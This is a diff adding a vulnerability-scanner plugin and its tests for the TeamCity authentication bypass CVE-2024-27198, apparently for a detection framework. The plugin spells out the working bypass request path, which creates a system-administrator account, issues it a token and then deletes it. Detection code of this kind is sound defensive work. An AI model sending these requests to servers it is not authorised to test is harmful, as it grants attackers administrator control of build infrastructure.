diff --git a/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198.textproto b/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198.textproto
new file mode 100644
index 000000000..a6aa6ae95
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198.textproto
@@ -0,0 +1,148 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+  type: VULN_DETECTION
+  name: "JetBrainsTeamCity_CVE_2024_27198"
+  author: "frkngksl"
+  version: "1.0"
+}
+
+finding: {
+  main_id: {
+    publisher: "GOOGLE"
+    value: "CVE-2024-27198"
+  }
+  severity: CRITICAL
+  title: "JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-27198)"
+  description: "JetBrains TeamCity is a continuous integration and continuous deployment (CI/CD) server used by developers to automate building, testing, and releasing software. This vulnerability is a critical authentication-bypass vulnerability in JetBrains TeamCity that allows a remote, unauthenticated attacker to access endpoints meant to be protected and perform high-privilege actions."
+  recommendation: "Update the version to 2023.11.4 or later."
+  related_id: {
+    publisher: "CVE"
+    value: "CVE-2024-27198"
+  }
+}
+
+config: {}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+  name: "fingerprint_teamcity"
+  http_request: {
+    method: GET
+    uri: "/login.html"
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: "<title>Log in to TeamCity" }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "create_admin_user"
+  http_request: {
+    method: POST
+    uri: "/hax?jsp=/app/rest/users;.jsp"
+    headers: [
+      { name: "Accept" value: "*/*" },
+      { name: "Content-Type" value: "application/json" }
+    ]
+    data: "{\"username\": \"tsunamitest\", \"password\": \"tsunamitest\", \"email\": \"tsunami@tsunami.com\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
+    response: {
+      http_status: 200
+      extract_all: {
+        patterns: [
+          {
+            from_body: {}
+            regexp: "<user username=\"tsunamitest\" id=\"([^\"]+)\""
+            variable_name: "userid"
+          }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "create_admin_token"
+  http_request: {
+    method: POST
+    uri: "/hax?jsp=/app/rest/users/id:{{ userid }}/tokens/testtoken;.jsp"
+    headers: [
+      { name: "Accept" value: "*/*" },
+      { name: "Content-Type" value: "application/json" }
+    ]
+    response: {
+      http_status: 200
+      extract_all: {
+        patterns: [
+          {
+            from_body: {}
+            regexp: "value=\"([^\"]+)\""
+            variable_name: "usertoken"
+          }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "get_user_list"
+  http_request: {
+    method: GET
+    uri: "/app/rest/users"
+    headers: [
+      { name: "Accept" value: "*/*" },
+      { name: "Authorization" value: "Bearer {{ usertoken }}" }
+    ]
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: 'username="tsunamitest"' }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "delete_added_user"
+  http_request: {
+    method: DELETE
+    uri: "/app/rest/users/id:{{ userid }}"
+    headers: [
+      { name: "Accept" value: "*/*" },
+      { name: "Authorization" value: "Bearer {{ usertoken }}" }
+    ]
+    response: {
+      http_status: 204
+    }
+  }
+}
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+  actions: [
+    "fingerprint_teamcity",
+    "create_admin_user",
+    "create_admin_token",
+    "get_user_list",
+    "delete_added_user"
+  ]
+}
diff --git a/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198_test.textproto b/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198_test.textproto
new file mode 100644
index 000000000..0814d8ba5
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2024/JetBrainsTeamCity_CVE_2024_27198_test.textproto
@@ -0,0 +1,75 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+  tested_plugin: "JetBrainsTeamCity_CVE_2024_27198"
+}
+
+tests: {
+  name: "whenVulnerable_returnsTrue"
+  expect_vulnerability: true
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/login.html"
+        status: 200
+        body_content: '<title>Log in to TeamCity &mdash; TeamCity</title>'
+      },
+      {
+        uri: "/hax?jsp=/app/rest/users;.jsp"
+        status: 200
+        body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="tsunamitest" id="4" email="tsunami@tsunami.com" href="/app/rest/users/id:4"><properties count="3" href="/app/rest/users/id:4/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="tsunamitest"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:4/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>'
+      },
+      {
+        uri: "/hax?jsp=/app/rest/users/id:4/tokens/testtoken;.jsp"
+        status: 200
+        body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="testtoken" creationTime="2025-10-09T22:23:56.609Z" value="eyJ0eXAiOiAiVENWMiJ9.LVQ4eGpuS3RuZzdJVHNnV181eDk0cEpKYzlJ.OGQ1NGI4OGMtOGMwNS00MWM4LWFiMzQtNmFlYmMwMDk3NWEz"/>'
+      },
+      {
+        uri: "/app/rest/users"
+        status: 200
+        body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><users count="2"><user username="admin" id="1" href="/app/rest/users/id:1"/><user username="tsunamitest" id="4" href="/app/rest/users/id:4"/></users>'
+      },
+      {
+        uri: "/app/rest/users/id:4"
+        status: 204
+        body_content : ''
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotVulnerable_returnsFalse"
+  expect_vulnerability: false
+
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/login.html"
+        status: 200
+        body_content: "<!DOCTYPE html>\r\n    <html lang=\"en\">\r\n    \r\n    <head>\r\n      <title>Log in to TeamCity; TeamCity</title>"
+      },
+      {
+        uri: "/hax?jsp=/app/rest/users;.jsp"
+        status: 403
+        body_content: "Access denied"
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotTeamCity_returnsFalse"
+  expect_vulnerability: false
+
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "TSUNAMI_MAGIC_ANY_URI"
+        status: 200
+        body_content: "Hello world"
+      }
+    ]
+  }
+}
\ No newline at end of file